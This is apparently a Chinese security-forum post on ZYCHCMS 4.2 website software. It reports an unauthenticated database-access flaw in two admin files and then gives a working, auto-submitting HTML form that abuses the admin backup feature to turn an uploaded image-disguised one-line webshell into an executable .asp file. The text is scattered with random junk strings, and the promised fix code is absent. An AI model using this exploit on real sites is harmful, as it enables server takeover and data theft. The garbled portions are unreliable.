ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

  _8 ]  s. H% p3 G) ^- _' {
/ Q% ]! }1 O2 @& \8 t
影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
2 T4 I% P: N8 P- @. |' [" s! _4 M5 F% B# w 修复方法：在文件开头加入代码

5 k. \) Z6 ?: T+ p2 V# V
②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
  |! w6 p$ `" Q9 m! e  W  m: K$ E 这里在网上找了一个，改了下，将就着用。
1 p3 \( T2 b) b7 A9 k' n 以下是代码本地提交代码


<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
6 i. l' l" a% t7 ]* K1 A <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
<tr>
! G7 W  n6 p% s& Y  l$ t; F8 P <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
% P. b: m; T- e* y </span>
0 c& e5 Z( f( G, `8 Y( L5 p. r <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
9 [9 X% H/ u+ }- L <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
/ ]: l3 a: I/ ~ <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
8 f4 f% y" h+ y6 m7 B <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
. @" @9 _7 a  r$ t2 l5 p% ` </div></td>
- t7 K  t% h$ j( Y+ O4 h! a# I </tr>
1 v: w  P! I( i5 Z- c7 a$ _ <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
" F& @, |# ~3 H0 E+ L) b <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
* {8 P, Q. J% s4 ?# q3 A [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
1 _4 j2 s( r/ i1 L0 }1 e( B4 P+ d( k <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
! K+ H% L3 v7 h9 g <input type=”submit” value=”确定备份” class=”btn”
& H& h' N5 q* r) H </div></td>
</tr>
</table></td></tr></form>
</table>
: R0 x9 W3 Y% K' N7 U </td>
! y3 c) C2 f" E( N </tr>
</table>
; P/ ]' `8 D5 ?8 U, W9 k3 T6 Y6 N <script>
. V% u/ O6 \6 |% u* ?" c document.all.add.submit();
</script>
9 `4 W3 X& m( J1 l
' I+ m6 o) \' {. [
( j2 j- v# r" |* i5 r6 {: F

7 I9 O) n- q7 X
$ \. s; z$ B) A

. A5 m4 ~, L* l. e5 p' n
7 u* p6 v( v: i+ ~1 B